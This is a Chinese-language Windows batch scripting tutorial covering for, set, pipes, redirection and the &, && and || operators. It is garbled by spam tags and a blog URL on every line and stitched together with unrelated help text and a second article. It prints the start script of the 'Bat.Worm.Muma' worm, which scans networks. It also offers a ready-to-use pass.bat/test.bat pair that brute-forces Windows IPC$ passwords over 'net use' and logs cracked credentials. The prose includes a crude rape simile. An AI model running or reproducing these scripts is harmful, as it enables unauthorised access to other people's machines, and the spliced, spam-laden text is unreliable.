执行后在当前路径下就生成for.txt、set.txt和shift.txt三个文件,里面分别记录了for命令、set命令和shift命令的帮助信息。地球人都能看懂,我就不多说了。我在网上曾经找了很长时间这三个命令的教程,但都不理想,基本都是照搬的帮助信息。我想在自己完全掌握了这两个命令后,一定要写一篇用自己的文字总结出来的for、set和shift教程(关于shift命令,后面介绍批处理的参数时还将涉及到),一定会的,这是我的心愿之一!需要注意的一点是,这三个命令的帮助里 ,介绍的都比较死板,虽然也举了一些例子,但这是远远不够的。要掌握这两个命令,最需要的就是耐心!没写错,就是耐心。光是认真看完它们的帮助文字就已经需要足够的耐心了,要进一步练习领会这两个命令,难道不需要更大的耐心?实战练习的机会我会留给你的,关键还是那句话,看你有没有耐心去研究了。看看例十二:
cf0jxp http://blog.numino.net/
START.BAT:
grWEuH http://blog.numino.net/
CALL MUMA.BAT
dLJ75I http://blog.numino.net/
SET IPA=192.168
6O459P http://blog.numino.net/
CALL 10.BAT 0
47FOQg http://blog.numino.net/
:NEARAGAIN
C4l3kV http://blog.numino.net/
netstat -n|find ":" >A.TMP
VqX459 http://blog.numino.net/
FOR /F "tokens=7,8,9,10,12 delims=.: " %%I IN (A.TMP) DO SET NUM1=%%I&& SET NUM2=%%J&& SET NUM3=%%K&& SET NUM4=%%L&& SET NUM5=%%M&& CALL NEAR.BAT
QA4YKh http://blog.numino.net/
:START
9ozR1Z http://blog.numino.net/
CALL RANDOM.BAT
tQIqsi http://blog.numino.net/
IF "%NUM1%"=="255" GOTO NEARAGAIN
0O7An3 http://blog.numino.net/
IF "%NUM1%"=="192" GOTO NEARAGAIN
p5AfLq http://blog.numino.net/
IF "%NUM1%"=="127" GOTO NEARAGAIN
2ut483 http://blog.numino.net/
IF "%NUM2%"=="255" GOTO NEARAGAIN
iCLy8i http://blog.numino.net/
IF "%NUM3%"=="255" GOTO NEARAGAIN
qPY63j http://blog.numino.net/
IF "%NUM4%"=="255" GOTO NEARAGAIN
umGbn6 http://blog.numino.net/
SET IPA=%NUM1%.%NUM2%
3Y3nAV http://blog.numino.net/
ECHO START > A.LOG
TY27ah http://blog.numino.net/
PING %IPA%.%NUM3%.1>B.TMP
XFDSK8 http://blog.numino.net/
PING %IPA%.%NUM3%.%NUM4%>>B.TMP
fI1bY3 http://blog.numino.net/
FIND /C /I "from" B.TMP
mL20oJ http://blog.numino.net/
IF ERRORLEVEL 1 GOTO START
A0Wl78 http://blog.numino.net/
CALL 10.BAT %NUM3%
y0xWS8 http://blog.numino.net/
DEL A.LOG
k5E93y http://blog.numino.net/
GOTO START
8Rea7d http://blog.numino.net/
这是Bat.Worm.Muma病毒的起始脚本,设置了病毒运行的环境变量。是不是看的头都大了?又忘了写在第一章第一段的那句话(静下心来!),你应该能体会到学习这两个命令所需要的耐心了吧。就如同去爱一个人,你得学会宽容,打不得骂不得,用你宽大的胸怀去包容她的一切,即使你发现爱她的过程如看上面代码的过程一样让你头大,但你还是得爱下去----爱需要理由吗?不需要吗?需要吗?不需要吗……等到风平浪静后,最直观的收获就是,你的耐心变的前所未有的充足,面对她的复杂和善变,你自己会处变不惊,以自己的方式去从容应付曾经应付不了的场面,即使到最后一身伤痕,也会感慨曾经的举动有多么伟大。
53ANJC http://blog.numino.net/
没错,这就是批处理的魅力,这就是爱的魅力。让你受了伤还感谢伤你的人。这种感觉就好象在自己最喜欢的音乐声中被人强奸,痛并快乐着。
fuZuza http://blog.numino.net/
不得不再次重申一遍,各种DOS命令是批处理的BODY(我实在找不出一个更合适的词来形容他们之间的关系),学好DOS命令是学好批处理的前提。其他DOS命令如copy、dir、del、type、path、break、start等内部命令,以及ping、net、cmd、at、sort、attrib、fc、find等外部命令,在批处理里的应用非常广泛。这篇教程的作用,是教你认识批处理,以及如何利用DOS命令组合出来一个完美的批处理脚本,去让它自动完成你想要它做的事情。而灵活自如的编辑一个批处理脚本是建立在熟练掌握DOS命令的基础上的,这已经超出了本文的范畴,在此就不赘述了。
FpGvk7 http://blog.numino.net/
不知不觉中第三章已经结束了。耳麦里传来的依然是陈晓东的《比我幸福》,每隔4分32秒就自动重播。虽然我不并不很喜欢陈晓东,可这并不妨碍我喜欢音乐,喜欢这首描写的如此让人感慨的歌。请你一定要比我幸福/才不枉费我狼狈退出/再痛也不说苦/爱不用抱歉来弥补/至少我能成全你的追逐/请记得你要比我幸福/才值得我对自己残酷/我默默的倒数/最后再把你看清楚/看你眼里的我好馍糊/慢慢被放逐。我如同一个因年老失色而拉不到客的老妓女,绝望的徘徊在曾经辉煌的红灯区,用一脸的木然瞟一眼来来去去的人群,默默的回忆自己并不光彩的过去,幻想自己将要面对的未来。直到看见那些幸福依偎在一起的情侣们,才突然间发现上帝的公平,和这种公平的残忍。
RV118p http://blog.numino.net/
可以说,批处理脚本中最重要的几个命令我都没有给出如echo或if那样比较详细的介绍,原因我已经说了,因为我也是个菜,我也不太懂----但我正在学!你呢?今天又去了一趟图书馆,淘金一样发现了一本叫《DOS批文件》的东东,藏在一个角落里落满了灰,五本摞一起就跟砖头一样厚了。大概翻了一下,里面介绍了很多比较底层和基础的东西,虽然从思路上讲,已经有点time out了,很多东西已经基本没有利用的价值(这就是信息时代的更新速度),但还是很值得看的。于是打算下午淘过来,放假回去了再好好研究一番,连同那几个不熟悉的命令一起搞熟了,再续写这篇教程。我始终坚信,没有最好只有更好。
5X8Swz http://blog.numino.net/
但是很可惜,等到下午再去的时候,图书馆楼梯口已经立了一个牌子,上面写着out of service----人家这学期的工作结束了。于是回到宿舍打算继续写第四章,正在这时又得到一个“振奋人心”的消息:期末考试有一科挂了,而且是全班第一----这一门整个班里就挂了我一个。郁闷的情绪刹那间涌上心头,整个世界仿佛都变成黑的了。食堂和小卖部已经陆续关门,学校里的人越来越少,迎面过来的几个同学也都一身行李,忙碌着准备回家过年,内心的孤寂和失落如同夏日里暴雨前的乌云,迅速而不可抗拒的占领了心里每一个角落。迎着一月的冷风我一个人在天桥上发呆,还能怎么样,连期末考试都应付不了的失败男人。
Q2FHxl http://blog.numino.net/
“课间休息”时间好象长了点,呵呵,上课了!从这一章开始,将详细介绍批处理中常用的几个组合命令和管道命令。这些命令虽然不是必须的,如同爱一个人时不一定非得每天去陪,但如果少了这个过程,事情就会变的复杂而不完美,所以我认为管道命令和组合命令是批处理的调味剂,几乎是少不了的。
w95o6h http://blog.numino.net/
下面从管道命令讲起。常用的管道命令有以下这些:|、>、>>
if3f95 http://blog.numino.net/
11、|
PnuXGa http://blog.numino.net/
这个命令恐怕大家不是很陌生,经常操作DOS的朋友都应该知道,当我们查看一个命令的帮助时,如果帮助信息比较长,一屏幕显示不完时DOS并不给我们时间让我们看完一屏幕再翻到另一屏幕,而是直接显示到帮助信息的最后。如在提示符下输入help回车时,就会看到当前DOS版本所支持的所有非隐含命令,但你只能看到最后的那些命令,前面的早就一闪而过了,如何解决这个问题?看例十三:
9218tV http://blog.numino.net/
help | more
EOzoMu http://blog.numino.net/
回车后会发现显示满一屏幕后就自动暂停,等候继续显示其他信息。当按写回车时,变成一个一个的出现;按下空格键时一屏幕一屏幕显示,直到全部显示完为止;按其他键自动停止返回DOS。
fZWGzv http://blog.numino.net/
为什么会出现上述现象?答案很简单,这里结合了管道命令|和DOS命令more来共同达到目的的。这里先简单介绍一下help命令和more命令,对理解|命令的用法有很大帮助。
5hJPUe http://blog.numino.net/
11.1、help命令。其实这个命令是不需要多说的,但在上述例子中help命令的用法比较特殊,直接在DOS提示符下输入help命令,结果是让DOS显示其所支持的所有非隐含命令,而在其他地方用help命令,如输入net help回车,则是显示net命令的帮助信息。
GZK1up http://blog.numino.net/
11.2、more命令。可能很多朋友以前就没有接触过这个命令,这个命令在Linux下的用处非常广泛,也是管道命令之一。大家可以找一篇比较长的文章(a.txt)在DOS提示符下输入如下两个命令去比较一下差别:more a.txt和type a.txt。利用more命令,可以达到逐屏或逐行显示输出的效果,而type命令只能一次把输出显示完,最后的结果就是只能看到末尾的部分。在例十三里,more命令的作用就是让输出的信息逐屏或逐行显示。
iQIh87 http://blog.numino.net/
看到这里,你是否已经能隐约感受到了|命令的作用了?没错,它的作用,就是把前一命令的输出当后一命令的输入来用的。在例十三里,前一命令的输出,就是help命令执行后显示的DOS所支持的所有非隐含命令,而这个结果刚好做了后一命令more的输入。所以例十三和下面的例十四是等效的:
4hHu5x http://blog.numino.net/
help > a.txt
P3JJWX http://blog.numino.net/
more a.txt
D7sbXZ http://blog.numino.net/
del a.txt
9i4R97 http://blog.numino.net/
这里利用另一管道命令>生成了一个a.txt文件作为中间环节,在用more命令查看a.txt文件后再删除a.txt文件(例十三的所有操作是在内存中进行的,不生成文件)。可以看出,正确使用管道命令|可以带来事半功倍的效果。
Y45c9M http://blog.numino.net/
结合例十三和例十四,以及前面的例九再体会一遍:|命令的作用,就是让前一命令的输出当做后一命令的输入。
9mMvG8 http://blog.numino.net/
12、>、>>
mu22VU http://blog.numino.net/
这两个命令的效果从本质上来说都是一样的,他们都是输出重定向命令,说的通俗一点,就是把前面命令的输出写入到一个文件中。这两个命令的唯一区别是,>会清除掉原有文件中的内容后把新的内容写入原文件,而>>只会另起一行追加新的内容到原文件中,而不会改动其中的原有内容。例十五:
rTlbKd http://blog.numino.net/
echo @echo off > a.bat
IOxaQs http://blog.numino.net/
echo echo This is a pipeline command example. >> a.bat
FxlPKV http://blog.numino.net/
echo echo It is very easy? >> a.bat
0rXfwn http://blog.numino.net/
echo echo Believe your self! >> a.bat
eUCwK5 http://blog.numino.net/
echo pause >> a.bat
hcdBqq http://blog.numino.net/
echo exit >> a.bat
zp2028 http://blog.numino.net/
依次在DOS提示符下输入以上各行命令,一行一个回车,将在当前目录下生成一个a.bat文件,里面的内容如下:
Djs1wL http://blog.numino.net/
@echo off
klXMCX http://blog.numino.net/
echo This is a pipeline command example.
9aecKe http://blog.numino.net/
echo It is very easy?
iIS9pe http://blog.numino.net/
echo Believe your self!
k2rrxP http://blog.numino.net/
pause
ZQOO84 http://blog.numino.net/
exit
4oCzyO http://blog.numino.net/
看到这里,你得到了多少信息?1、可以直接在DOS提示符下利用echo命令的写入功能编辑一个文本,而不需要专门的文本编辑工具;2、管道命令>和>>的区别如上所述。如果这里只用>命令来完成上面操作,最后也会生成一个a.bat,但里面的内容就只剩下最后一行exit了。所以>和>>一般都联合起来用,除非你重定向的输出只有一行,那么就可以只用>了。结合例一再仔细体会输出重定向管道命令>和>>的用法。
VjawI4 http://blog.numino.net/
13、<、>&、<&
V1NAPt http://blog.numino.net/
这三个命令也是管道命令,但它们一般不常用,你只需要知道一下就ok了,当然如果想仔细研究的话,可以自己查一下资料。
ua3jGK http://blog.numino.net/
<,输入重定向命令,从文件中读入命令输入,而不是从键盘中读入。
VX1693 http://blog.numino.net/
>&,将一个句柄的输出写入到另一个句柄的输入中。
5kOr8t http://blog.numino.net/
<&,刚好和>&相反,从一个句柄读取输入并将其写入到另一个句柄输出中。
3LbPjV http://blog.numino.net/
关于这三个管道命令的举例,在后面批处理脚本的精妙应用中还将涉及到。
6goDwL http://blog.numino.net/
下面介绍组合命令:&、&&、||
T2V3FD http://blog.numino.net/
组合命令,顾名思义,就是可以把多个命令组合起来当一个命令来执行。这在批处理脚本里是允许的,而且用的非常广泛。它的格式很简单----既然现在已经成了一个文件了,那么这多个命令就要用这些组合命令连接起来放在同一行----因为批处理认行不认命令数目。组合命令的作用,就如同给爱人陪不是,说一句是说,说十句也是说,不一次把好话都说了出来,效果可能会好些----当然得排除一种特殊情况:这些话是否有先后顺序,有些话是否可以同时说。在批处理脚本里也一样,有些时候某些命令是不能同时执行的,后面给你说。
omlcmJ http://blog.numino.net/
刚刚又送走了一个同学,人去楼空的感觉越来越明显,望着空荡荡的床铺,平日里喧闹的宿舍就只剩下我一个人了,整个世界只有那个平时令人非常讨厌的老鼠这时候才显得可爱起来----只有它会陪着我在这不敢开灯的漆黑夜里----一个连期末考试都应付不了的失败男人。失败!我感到快要呼吸不过来,这种失败的压力简直令我窒息,简直让我的手接收不到大脑的信号,简直让这篇未完成的教程夭折。但我能怪谁?
xIz36n http://blog.numino.net/
忙碌了一学期要过年了却挂了科,失败;挂了科也倒罢了,竟然一个人拖全班的后退,失败中的失败;更失败的,是在这最失落的时候,竟然找不到一个人可以倾诉;然而最失败的,是突然发现自己竟然如此脆弱,如此耐不住寂寞。不过这倒也解开了心中疑惑很久的一个问题:为什么明知道那段情是一个旋涡却还心甘情愿的往里面跳----这就是青春,风一样的年龄,火一样不安的心。不再爱了,我不要再一个人的时候苦苦等待;不再爱了,我不要在你给的囚笼里怜悯的爱;不再爱了,我不要在别人的视线里如此可笑;不再爱,我不再爱。就算塌下来,我也要一个人扛着,头不能低腰不能弯,不能喘息不能倾诉,因为虽然失败,但还是男人,是男人就不能向困难低头!
kUPDPh http://blog.numino.net/
14、&
4u9Riy http://blog.numino.net/
这可以说是最简单的一个组合命令了,它的作用是用来连接n个DOS命令,并把这些命令按顺序执行,而不管是否有命令执行失败。例十六:
ujvzq5 http://blog.numino.net/
copy a.txt b.txt /y & del a.txt
LhGOfD http://blog.numino.net/
其实这句和move a.txt b.txt的效果是一样的,只不过前者是分了两步来进行的(在后面还将涉及到具体使用哪种方法的问题)。这个命令很简单,就不多费口舌了,唯一需要注意的一点是,这里&两边的命令是有执行顺序的,从前往后执行。
gZete6 http://blog.numino.net/
15、&&
z8ZmIE http://blog.numino.net/
切记,这里介绍的几个命令都是组合命令,所以他们前后都必须都有其他命令(要不如何组合?)。这个命令也不例外,它可以把它前后两个命令组合起来当一个命令来用,与&命令不同之处在于,它在从前往后依次执行被它连接的几个命令时会自动判断是否有某个命令执行出错,一旦发现出错后将不继续执行后面剩下的命令。这就为我们自动化完成一些任务提供了方便。例十七:
a14fCv http://blog.numino.net/
dir 文件://1%/www/user.mdb && copy 文件://1%/www/user.mdb e:\backup\www
ubn8l2 http://blog.numino.net/
如果远程主机存在user.mdb,则copy到本地e:\backup\www,如果不存在当然就不执行copy了。这句对搞网管的朋友是否有点用呢?呵呵。其实它和下面这句的作用是一样的:
2m8pgf http://blog.numino.net/
if exist 文件://1%/www/user.mdb copy 文件://1%/www/user.mdb e:\backup\www
CFmvgP http://blog.numino.net/
至于你喜欢用哪个就随便了,我没办法判断dir和if两个命令哪一个执行效率更高,所以不知道用哪个更好,呵呵。
kID9ad http://blog.numino.net/
你是否还记得“有些命令是不能同时执行的”?你是否相信这句话?当然得相信,不信就给你出道题:把C盘和D盘的文件和文件夹列出到a.txt文件中。你将如何来搞定这道题?有朋友说,这还不是很easy的问题吗?同时执行两个dir,然后把得到的结果>到a.txt里就ok了嘛,看例十八:
41ie21 http://blog.numino.net/
dir c:\ && dir d:\ > a.txt
N1JK84 http://blog.numino.net/
仔细研究一下这句执行后的结果,看看是否能达到题目的要求!错了!这样执行后a.txt里只有D盘的信息!为什么?就因为这里&&命令和>命令不能同时出现一个句子里(批处理把一行看成一个句子)!!组合命令&&的优先级没有管道命令>的优先级高(自己总结的,不妥的地方请指正)!所以这句在执行时将本分成这两部分:dir c:\和dir d:\ > a.txt,而并不是如你想的这两部分:dir c:\ && dir d:\和> a.txt。要使用组合命令&&达到题目的要求,必须得这么写:
Kt7Lqu http://blog.numino.net/
dir c:\ > a.txt && dir d:\ >> a.txt
PK9uol http://blog.numino.net/
这样,依据优先级高低,DOS将把这句话分成以下两部分:dir c:\ > a.txt和dir d:\ >> a.txt。例十八中的几句的差别比较特殊,值得好好研究体会一下。
BL1Fn5 http://blog.numino.net/
当然这里还可以利用&命令(自己想一下道理哦):
zz8XZX http://blog.numino.net/
dir c:\ > a.txt & dir d:\ >> a.txt
Z56hRQ http://blog.numino.net/
16、||
Kxjdy8 http://blog.numino.net/
这个命令的用法和&&几乎一样,但作用刚好和它相反:利用这种方法在执行多条命令时,当遇到一个执行正确的命令就退出此命令组合,不再继续执行下面的命令。题目:查看当前目录下是否有以s开头的exe文件,如果有则退出。例十九:
6L5T84 http://blog.numino.net/
@echo off
WojnpI http://blog.numino.net/
dir s.exe || exit
jbdKty http://blog.numino.net/
其实这个例子是有破绽的,你看出来了吗?其实很简单,自己试试就知道了嘛:如果存在那个exe文件,就退出;如果不存在那个exe文件,也退出!为什么?因为如果不存在那个.exe文件,则前一条命令dir s.exe执行肯定是不成功的,所以就继续执行exit,自然就退出了,呵呵。那么如何解决题目给出的问题呢?看例二十:
2A0UYf http://blog.numino.net/
@echo off
7JAnVs http://blog.numino.net/
dir s.exe || echo Didn't exist file s.exe & pause & exit
Cc2evn http://blog.numino.net/
这样执行的结果,就能达到题目的要求,是否存在s.exe将出现两种结果。这里加暂停的意思,当然是让你能看到echo输出的内容,否则一闪而过的窗口,echo就白写了。
Gy29e1 http://blog.numino.net/
给出两个更好研究优先级(同时也是更难理解)的脚本,仔细研究它们的区别,以便彻底理解各种命令的优先级顺序,对以后自己利用这些命令写脚本有很大的好处----不会出错!OK,请看例二十一和例二十二:
x3r7M0 http://blog.numino.net/
例二十一:
s7RcyN http://blog.numino.net/
@echo off
V54wKv http://blog.numino.net/
dir a.ttt /a & dir a.txt || exit
UUYwsl http://blog.numino.net/
例二十二:
OjVhcr http://blog.numino.net/
@echo off
08034M http://blog.numino.net/
dir a.ttt /a && dir a.txt || exit
yq1jjL http://blog.numino.net/
警告:患有心脑血管病的朋友请不要研究以上两例,否则轻者头大如斗,重者血管爆裂。任何人由于研究这两个脚本的区别而造成的任何事故由自己或其合法监护人负责,与本人和本论坛无关。特此警告!
RfZ15g http://blog.numino.net/
有关管道命令和组合命令就大概介绍到这里了,不知道聪明的你是否理解?呵呵,能理解就成天才了,除非你以前就已经掌握!千万别小看了这几个鬼命令,大棒槌是我的说,简直就不是人学的东西!但我还是静下心来研究了一番,最后得出的结论如上所述,已经一点不剩的交给你了,希望你好好收藏并消化吸收,当然有错误被你发现了,或者不完整的地方被你看出来了,请赶紧告诉我一声!
jd64w4 http://blog.numino.net/
这几个命令真的把我的头都搞大了。在网上有一篇流传很广的批处理教程:“简明批处理教程”,虽然说的比较全面,但看起来很不过瘾。在对for等命令介绍时就一个for /? > a.txt & start a.txt完事了(当然这一点上我不能说人家什么,毕竟我连for /?都没给出),而对上述管道命令和组合命令、以及这篇教程以后将讲到的用批处理操作注册表等方面根本没有介绍。我之所以花整整一章来讲管道命令和组合命令,是因为他们才是批处理的精华和灵魂,能否正确利用好这几个命令,是能否掌握批处理的前提条件。如for、set等DOS命令的问题,可以从DOS的角度出发专门有针对性的学习,但有关这几个命令的问题,却是不容易精通掌握的----他们之间的关系太复杂了!
S0c7z4 http://blog.numino.net/
将下列代码存为bat文件
6Z2Xrz http://blog.numino.net/
1、如果用字典破解:pass.bat 字典文件路径及名称 主机 用户名
H16IaI http://blog.numino.net/
2、如果用数字破解:pass.bat 起始数 步长 结束数 主机 用户名
mNXa7A http://blog.numino.net/
密码破解出来之后,存放于c:\pass.txt文件里面。
7rg3Cz http://blog.numino.net/
将下列代码存为pass.bat文件
7SnvVe http://blog.numino.net/
@echo off
e04seT http://blog.numino.net/
echo ------------------------------------------------------------------- >>c:\pass.txt
A3bZ2Z http://blog.numino.net/
echo ------------------------------------------------------------------- >>c:\pass.txt
971xnp http://blog.numino.net/
date /t >>c:\pass.txt
tQ2H1F http://blog.numino.net/
time /t >>c:\pass.txt
u60pCy http://blog.numino.net/
echo 破解结果: >>c:\pass.txt
ncwRFl http://blog.numino.net/
if "%6"=="1" goto 大棒槌是我的说2
0jXpc9 http://blog.numino.net/
:大棒槌是我的说1
y4tz2k http://blog.numino.net/
start "正在破解" /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3
W1rzvG http://blog.numino.net/
goto quit
Zs37fv http://blog.numino.net/
:大棒槌是我的说2
60440d http://blog.numino.net/
start "正在破解" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5
x1R8bV http://blog.numino.net/
:quit
M1QTK9 http://blog.numino.net/
将下列代码存为test.bat
2av49Z http://blog.numino.net/
net use \%1\ipc$ %2 /user:"%3"
RoK0q6 http://blog.numino.net/
goto answer%ERRORLEVEL%
LdE5K7 http://blog.numino.net/
rem %ERRORLEVEL%表示取前一命令执行返回结果,net use成功返回0,失败返回2
HDONh2 http://blog.numino.net/
:answer0
qQoGpN http://blog.numino.net/
echo 远程主机:"%1" >>c:\pass.txt
Rz9WFC http://blog.numino.net/
echo 用 户:"%3" >>c:\pass.txt
JzSqn9 http://blog.numino.net/
echo 密 码:%2 >>c:\pass.txt
PPwTqZ http://blog.numino.net/
net use \%1\ipc$ /delet
r2imCx http://blog.numino.net/
exit
eGBs3M http://blog.numino.net/
:answer2
7j3XWM http://blog.numino.net/
For
7ba2Ok http://blog.numino.net/
对一组文件中的每个文件运行指定的命令。
loiI7f http://blog.numino.net/
可以在批处理程序中或直接从命令提示符使用 for 命令。
6wK0gf http://blog.numino.net/
要在批处理程序中使用 for 命令,请使用以下语法:
39trWd http://blog.numino.net/
for %%variable in (set) docommand [command-parameters]
MJ4h6J http://blog.numino.net/
要在命令提示符下使用 for,请使用以下语法:
6dWeF5 http://blog.numino.net/
for %variable in (set) do command [command-parameters]
JqLl51 http://blog.numino.net/
参数
88Y4K1 http://blog.numino.net/
%%variable 或 %variable
OSkK26 http://blog.numino.net/
代表可替换的参数。for 命令使用在 set 中指定的每个文本字符串替换 %%variable(或 %variable),直到此命令(在 command-parameters 中指定)处理所有的文件为止。使用 %% variable 在批处理程序中执行 for 命令。使用 % variable 通过命令提示符执行 for 命令。变量名区分大小写。
T8w0jY http://blog.numino.net/
(set)
ssN326 http://blog.numino.net/
指定要用指定的命令处理的一个或多个文件或文本字符串。需要括号。
Jd1V3K http://blog.numino.net/
command
dJw31h http://blog.numino.net/
指定要在指定的 set 所包含的每个文件上执行的命令。
GNpxtm http://blog.numino.net/
command-parameters
wu86h6 http://blog.numino.net/
指定要用于指定命令(如果指定的命令要使用任何参数或开关)的任何参数或开关。
xhcQi9 http://blog.numino.net/
如果启用了命令扩展(Windows 2000 中的默认设置),将支持 for 命令的其他形式。
4g3Vhg http://blog.numino.net/
For 命令的其他形式
Jbmni8 http://blog.numino.net/
如果启用了命令扩展,将支持如下 for 命令的其他格式:
Pe4hDP http://blog.numino.net/
只限于目录
6DIyLL http://blog.numino.net/
for /D [%% | %]variable in (set) docommand [command-parameters]
884max http://blog.numino.net/
如果 set 包含通配符( 和 ?),则指定与目录名匹配,而不是文件名。
8kS6QO http://blog.numino.net/
递归
D3882P http://blog.numino.net/
for /R [[drive :]path] [%% | %]variable in (set) docommand [command-parameters]
1sIsyd http://blog.numino.net/
进入根目录树[drive:]path,在树的每个目录中执行 for 语句。如果在 /R 后没有指定目录,则假定为当前目录。如果 set 只是一个句号 (.) 字符,则只列举目录树。
1J2gT2 http://blog.numino.net/
迭代
9NUfYH http://blog.numino.net/
for /L [%% | %]variable in (start,step,end) do command [command-parameters]
0hrwNw http://blog.numino.net/
集合是一系列按步长量划分的、从头到尾的数字。这样,(1,1,5) 将生成序列 1 2 3 4 5,而 (5,-1,1) 将生成序列 (5 4 3 2 1)。
umDRyb http://blog.numino.net/
BAT文件技巧
4cOc5z http://blog.numino.net/
文章结构
7U1AGX http://blog.numino.net/
1. 所有内置命令的帮助信息
b944K9 http://blog.numino.net/
2. 环境变量的概念
00XKqW http://blog.numino.net/
3. 内置的特殊符号(实际使用中间注意避开)
1eS0Fy http://blog.numino.net/
4. 简单批处理文件概念
CUx26L http://blog.numino.net/
5. 附件1 tmp.txt
XZnI3E http://blog.numino.net/
6. 附件2 sample.bat
2W2c34 http://blog.numino.net/
######################################################################
1Uw36w http://blog.numino.net/
1. 所有内置命令的帮助信息
FynMvL http://blog.numino.net/
######################################################################
9yPteu http://blog.numino.net/
ver
1xo5JP http://blog.numino.net/
cmd /?
i9c2J3 http://blog.numino.net/
set /?
LGiy2e http://blog.numino.net/
rem /?
bE42d2 http://blog.numino.net/
if /?
K4p7G8 http://blog.numino.net/
echo /?
5MEVq5 http://blog.numino.net/
goto /?
s43UT0 http://blog.numino.net/
for /?
DHZKkn http://blog.numino.net/
shift /?
qLSwxX http://blog.numino.net/
call /?
bLh879 http://blog.numino.net/
其他需要的常用命令
koT3Bh http://blog.numino.net/
type /?
Gh73f8 http://blog.numino.net/
find /?
yJ4JuW http://blog.numino.net/
findstr /?
N9My0x http://blog.numino.net/
copy /?
M4076A http://blog.numino.net/
下面将所有上面的帮助输出到一个文件
s5XB9S http://blog.numino.net/
echo ver >tmp.txt
B4L2FB http://blog.numino.net/
ver >>tmp.txt
uo08xR http://blog.numino.net/
echo cmd /? >>tmp.txt
rsw1l9 http://blog.numino.net/
cmd /? >>tmp.txt
ybnAjP http://blog.numino.net/
echo rem /? >>tmp.txt
0y32cU http://blog.numino.net/
rem /? >>tmp.txt
pta3EP http://blog.numino.net/
echo if /? >>tmp.txt
KjW5Df http://blog.numino.net/
if /? >>tmp.txt
E4PwSG http://blog.numino.net/
echo goto /? >>tmp.txt
nxoaXT http://blog.numino.net/
goto /? >>tmp.txt
t0X0cU http://blog.numino.net/
echo for /? >>tmp.txt
b9c061 http://blog.numino.net/
for /? >>tmp.txt
ty66wD http://blog.numino.net/
echo shift /? >>tmp.txt
xrHrgu http://blog.numino.net/
shift /? >>tmp.txt
WafMmP http://blog.numino.net/
echo call /? >>tmp.txt
c195yo http://blog.numino.net/
call /? >>tmp.txt
3Hgd08 http://blog.numino.net/
echo type /? >>tmp.txt
us1xJ5 http://blog.numino.net/
type /? >>tmp.txt
l0Rat5 http://blog.numino.net/
echo find /? >>tmp.txt
981MvR http://blog.numino.net/
find /? >>tmp.txt
MI3pNf http://blog.numino.net/
echo findstr /? >>tmp.txt
SgPfd1 http://blog.numino.net/
findstr /? >>tmp.txt
13oTQX http://blog.numino.net/
echo copy /? >>tmp.txt
m7rNG6 http://blog.numino.net/
copy /? >>tmp.txt
vFDCPj http://blog.numino.net/
type tmp.txt
9UwD5f http://blog.numino.net/
######################################################################
MZKPHw http://blog.numino.net/
2. 环境变量的概念
DILIV3 http://blog.numino.net/
######################################################################
4Vsk80 http://blog.numino.net/
_
J18VMf http://blog.numino.net/
C:Program Files>set
INXB6H http://blog.numino.net/
ALLUSERSPROFILE=C:Documents and SettingsAll Users
wU35SV http://blog.numino.net/
CommonProgramFiles=C:Program FilesCommon Files
LjQtp6 http://blog.numino.net/
COMPUTERNAME=FIRST
H31qHU http://blog.numino.net/
ComSpec=C:WINNTsystem32cmd.exe
AVe9jV http://blog.numino.net/
NUMBER_OF_PROCESSORS=1
zDy4Jm http://blog.numino.net/
OS=Windows_NT
O8yqKV http://blog.numino.net/
Os2LibPath=C:WINNTsystem32os2dll;
C36H6h http://blog.numino.net/
Path=C:WINNTsystem32;C:WINNT;C:WINNTsystem32WBEM
uwgUg9 http://blog.numino.net/
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
dATeM2 http://blog.numino.net/
PROCESSOR_ARCHITECTURE=x86
L0eLQv http://blog.numino.net/
PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel
Y27bBO http://blog.numino.net/
PROCESSORLEVEL=6
wzuG3y http://blog.numino.net/
PROCESSORREVISION=0605
joYn62 http://blog.numino.net/
ProgramFiles=C:Program Files
jGy4Ew http://blog.numino.net/
PROMPT=$P$G
D5Sneu http://blog.numino.net/
SystemDrive=C:
94nAMU http://blog.numino.net/
SystemRoot=C:WINNT
ibjNa2 http://blog.numino.net/
TEMP=C:WINNTTEMP
Bzz3N4 http://blog.numino.net/
TMP=C:WINNTTEMP
5CiMn0 http://blog.numino.net/
USERPROFILE=C:Documents and SettingsDefault User
hkhviY http://blog.numino.net/
windir=C:WINNT
mdhvnn http://blog.numino.net/
path: 表示可执行程序的搜索路径. 我的建议是你把你的程序copy 到
wpqH9T http://blog.numino.net/
%windir%system32. 这个目录里面. 一般就可以自动搜索到.
Zj0gxg http://blog.numino.net/
语法: copy mychenxu.exe %windir%system32.
6YKi29 http://blog.numino.net/
使用点(.) 便于一目了然
Nek9N0 http://blog.numino.net/
对环境变量的引用使用(英文模式,半角)双引号
41T5o7 http://blog.numino.net/
%windir% 变量
nZ6sH9 http://blog.numino.net/
%%windir%% 二次变量引用.
4HlMsT http://blog.numino.net/
我们常用的还有
IKSSyT http://blog.numino.net/
%temp% 临时文件目录
86OTxM http://blog.numino.net/
%windir% 系统目录
9SW1rW http://blog.numino.net/
%errorlevel% 退出代码
9M1SPw http://blog.numino.net/
输出文件到临时文件目录里面.这样便于当前目录整洁.
IyYCe9 http://blog.numino.net/
对有空格的参数. 你应该学会使用双引号("") 来表示比如对porgram file文件夹操作
T536Zo http://blog.numino.net/
C:>dir p
FDLWpd http://blog.numino.net/
C: 的目录
7985RO http://blog.numino.net/
2000-09-02 11:47 2,164 PDOS.DEF
O8UijC http://blog.numino.net/
1999-01-03 00:47
6PbP7U http://blog.numino.net/
Program Files
MWRnor http://blog.numino.net/
1 个文件 2,164 字节
3oz3j4 http://blog.numino.net/
1 个目录 1,505,997,824 可用字节
B63X9G http://blog.numino.net/
C:>cd pro
pj4dLu http://blog.numino.net/
C:Program Files>
31U8i7 http://blog.numino.net/
C:>
fZ6Hm8 http://blog.numino.net/
C:>cd "Program Files"
YtlqLn http://blog.numino.net/
C:Program Files>
9MN0h7 http://blog.numino.net/
######################################################################
3GeOBg http://blog.numino.net/
3. 内置的特殊符号(实际使用中间注意避开)
vg66yD http://blog.numino.net/
######################################################################
2ImG8H http://blog.numino.net/
微软里面内置了下列字符不能够在创建的文件名中间使用
nS8Av7 http://blog.numino.net/
con nul aux / | || && ^ > <
W0zIU1 http://blog.numino.net/
